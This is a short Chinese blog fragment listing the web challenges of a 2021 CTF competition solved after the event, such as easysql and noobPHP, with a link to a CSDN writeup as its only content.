
赛后解出

[easysql](#)

[noobPHP](#)

[easyGO](#)

[breakout](#)

[validation](#)

参考:

官方wp

[https://blog.csdn.net/weixin_43610673/article/details/121426951?](https://blog.csdn.net/weixin_43610673/article/details/121426951?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163793652716780274159451%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163793652716780274159451&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allfirst_rank_ecpm_v1~rank_v31_ecpm-5-121426951.first_rank_v2_pc_rank_v29&utm_term=%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%982021web&spm=1018.2226.3001.4187)

ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163793652716780274159451%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163793652716780274159451&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allfirst_rank_ecpm_v1~rank_v31_ecpm-5-121426951.first_rank_v2_pc_rank_v29&utm_term=%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%982021web&spm=1018.2226.3001.4187